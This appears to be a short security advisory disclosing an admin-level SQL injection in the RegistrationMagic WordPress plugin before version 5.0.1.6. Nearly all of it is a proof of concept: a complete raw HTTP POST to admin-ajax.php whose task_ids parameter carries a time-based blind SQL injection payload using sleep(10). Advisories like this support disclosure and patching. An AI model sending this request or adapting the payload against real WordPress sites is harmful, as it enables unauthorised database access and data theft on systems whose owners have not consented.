RegistrationMagic < 5.0.1.6 - Admin+ SQL Injection

Proof of Concept

When there is at least one task (to created one, go to /wp-admin/admin.php?page=rm_ex_chronos_manage_tasks)

POST /wp-admin/admin-ajax.php HTTP/1.1
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 99
Connection: close
Cookie: [admin+]

action=rm_chronos_ajax&rm_chronos_ajax_action=duplicate_tasks_batch&task_ids[]=1+and+sleep(10))--+-